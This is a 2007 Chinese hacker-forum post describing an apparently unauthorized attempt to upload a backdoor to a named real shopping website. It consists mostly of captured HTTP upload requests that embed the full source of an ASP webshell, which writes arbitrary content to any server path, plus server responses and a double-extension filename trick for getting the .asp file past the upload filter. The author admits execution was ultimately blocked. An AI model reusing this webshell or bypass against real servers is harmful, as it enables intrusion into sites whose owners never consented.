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一次小小的上传文件测试 樱木花盗 发表于 2007-4-21 20:58:28 |
下午5:52分,快吃晚饭了,这段时间里我比较喜欢给忙碌了一天的自己放短假,所以按照习惯就跑去几个常去的黑客站点看看文章,武汉的315安全网我还是比较喜欢的,东西比较多而且更新的也还算及时。 记得看过一次315安全网里的一位兄台做过一个他们服务器硬盘权限分配的动画,了解到是一台虚拟主机,用自己写的程序跑了跑,看看有没有什么可以利用的地方,发现了一个动感购物商城的上传页面,呵呵…… http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg 就抓了个包试试看上传,包的结果如下: POST /upfile_flash.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d51863950254 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322) Host: www.whdlwj.com Content-Length: 3306 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254 Content-Disposition: form-data; name="filepath"
bookpic/ -----------------------------7d51863950254 Content-Disposition: form-data; name="filelx"
jpg -----------------------------7d51863950254 Content-Disposition: form-data; name="EditName"
bookpic -----------------------------7d51863950254 Content-Disposition: form-data; name="FormName"
myform -----------------------------7d51863950254 Content-Disposition: form-data; name="act"
uploadfile -----------------------------7d51863950254 Content-Disposition: form-data; name="file1"; filename="G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp" Content-Type: application/octet-stream
<style type="text/css"> <!-- .unnamed1 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; line-height: normal; color: #000000; text-decoration: none; } .style6 {color: #FF0033} .style7 {color: #000000; } .style8 {color: #0000FF} --> </style> <div align="center"> <table width="372" border="1" align="center" class="unnamed1"> <tr> <td align="center" valign="middle"><div align="center"> <p> <% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("syfdpath"))"" then %> <% fdata = request("cyfddata") %> <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %> <% objCountFile.Write fdata %> <% if err =0 then %> <% response.write "<font color=red>Save Success!</font>" %> <% else %> <% response.write "<font color=red>Save UnSuccess!</font>" %> <% end if %> <% err.clear %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %> <% Response.write "<form action='' method=post>" %> <% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\sys.asp):</font>" %> </p> <p> <% Response.Write "<input type=text name=syfdpath width=32 size=50>" %> <% Response.Write "<br>" %> </p> <p> <% Response.write "本文件<font color=red>绝对路径:</font>" %> <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> </p> <p> <% Response.write "<br>" %> <% Response.write "输入马的内容:" %> </p> <p> <% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %> </p> <p> <% Response.write "<input type=submit value="/BLOG/Save>" %> <% Response.write "</form>" %> </p> <p class="style7">Save File Workstation Beautify the version</p> <p class="style6"> <span class="style8">----Power By Perl</span> </p> </div></td> </tr> </table> </div> -----------------------------7d51863950254 Content-Disposition: form-data; name="Submit"
开始上传 -----------------------------7d51863950254--
按照正常的手段改数据包先进行测试,提交结果返回为: HTTP/1.1 500 Internal Server Error Date: Mon, 18 Apr 2005 10:05:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 493 Content-Type: text/html Cache-control: private
<!-- ┌─ o91.com───────────────┐ │ 动感购物商务平台WWW.SNSN.NET版权所有 │ │ 设计:模糊视线13855119911 QQ:9912515 │ └────────────────────┘ -->
<link href="/BLOG/css.css" rel="stylesheet" type="text/css"> <font face="宋体" size=2> <p>ADODB.Stream</font> <font face="宋体" size=2>错误 '800a0bbc'</font> <p> <font face="宋体" size=2>写入文件失败。</font> <p> <font face="宋体" size=2>/upload_wj.inc</font><font face="宋体" size=2>,行 181< /font>
从返回数据得知根目录限制了文件写入,那我们就换一个目录,将包里的上传路径改为bookpic/sys.asp,字节改为3314,提示如下: HTTP/1.1 200 OK Date: Mon, 18 Apr 2005 10:07:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 472 Content-Type: text/html Cache-control: private
<!-- ┌─ o91.com───────────────┐ │ 动感购物商务平台WWW.SNSN.NET版权所有 │ │ 设计:模糊视线13855119911 QQ:9912515 │ └────────────────────┘ -->
<link href="/BLOG/css.css" rel="stylesheet" type="text/css"> <script>window.opener.document.myform.bookpic.value="/BLOG/bookpic/sys.asp200541818754 95496.gif'</script> <script language="javascript"> window.alert("文件上传成功!请不要修改生成的链接地址!"); window.close(); </script>
嘿嘿,文件上传成功,不过你别急,看清楚包的返回数据为bookpic/sys.asp20054181875495496.gif,打开这个文件来就是我们的后门文件代码了。都到这个地方了,传不上去有点不甘心,认真看看文件名bookpic/sys.asp20054181875495496.gif,怎么样?有点想法没有?呵呵…… 我们的文件后缀.asp它还保留着呢,只不过在后面给我们加上了一段长长的字符串和gif后缀,让我们的asp文件变成了gif文件。因为我没有看过这套程序的上传文件代码,所以我就靠经验来改改这个后门的数据包,让它截断后面的部分。改动之后的数据包如下: POST /upfile_flash.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d51863950254 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322) Host: www.whdlwj.com Content-Length: 3316 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254 Content-Disposition: form-data; name="filepath"
bookpic/wolf.asp -----------------------------7d51863950254 Content-Disposition: form-data; name="filelx"
jpg -----------------------------7d51863950254 Content-Disposition: form-data; name="EditName"
bookpic -----------------------------7d51863950254 Content-Disposition: form-data; name="FormName"
myform -----------------------------7d51863950254 Content-Disposition: form-data; name="act"
uploadfile -----------------------------7d51863950254 Content-Disposition: form-data; name="file1"; filename="G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp.gif" Content-Type: application/octet-stream
<style type="text/css"> <!-- .unnamed1 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; line-height: normal; color: #000000; text-decoration: none; } .style6 {color: #FF0033} .style7 {color: #000000; } .style8 {color: #0000FF} --> </style> <div align="center"> <table width="372" border="1" align="center" class="unnamed1"> <tr> <td align="center" valign="middle"><div align="center"> <p> <% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("syfdpath"))"" then %> <% fdata = request("cyfddata") %> <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %> <% objCountFile.Write fdata %> <% if err =0 then %> <% response.write "<font color=red>Save Success!</font>" %> <% else %> <% response.write "<font color=red>Save UnSuccess!</font>" %> <% end if %> <% err.clear %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %> <% Response.write "<form action='' method=post>" %> <% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\sys.asp):</font>" %> </p> <p> <% Response.Write "<input type=text name=syfdpath width=32 size=50>" %> <% Response.Write "<br>" %> </p> <p> <% Response.write "本文件<font color=red>绝对路径:</font>" %> <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> </p> <p> <% Response.write "<br>" %> <% Response.write "输入马的内容:" %> </p> <p> <% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %> </p> <p> <% Response.write "<input type=submit value="/BLOG/Save>" %> <% Response.write "</form>" %> </p> <p class="style7">Save File Workstation Beautify the version</p> <p class="style6"> <span class="style8">----Power By Perl</span> </p> </div></td> </tr> </table> </div> -----------------------------7d51863950254 Content-Disposition: form-data; name="Submit"
开始上传 -----------------------------7d51863950254--
整个包的大体并没变化,只需要将第一次修改的数据包里的G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.gif改为G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp.gif,其余不变,再传一次。上传的窗口一闪就关闭了(因为我是用了个BAT来执行提交的),嘿嘿……虽然看不到返回结果,不过我知道这个时候数据已经被我截断了,文件也正常的变成了asp。再进后门看看,浏览器显示:
该页无法显示 您试图从目录中执行 CGI、ISAPI 或其他可执行程序,但该目录不允许执行程序。 --------------------------------------------------------------------------------
请尝试以下操作:
如果您认为该目录应该允许执行访问权限,请与网站管理员联系。 HTTP 错误 403.1 - 禁止访问:执行访问被拒绝。 Internet 信息服务 (IIS)
嘿嘿……有这个显示就说明OK了,可以上传ASP文件了,之后又换了换目录试试,都不允许写入文件^_^!。这个图片目录也不允许执行我们的后门。 毕竟是安全站点的主机,在目录限制和权限设置这方面做的还可以,要不一会就被人黑了可就羞大了^_^。到这里,我做的整个测试就结束了,不知道看完了大家有什么感想,虽然并没有拿到SHELL,其实我想突出讲的一点是文章中的思路,以及平时需要的是多积累经验,在应用的再多留心一点,那发现一点点小东西并不是特别的困难. |
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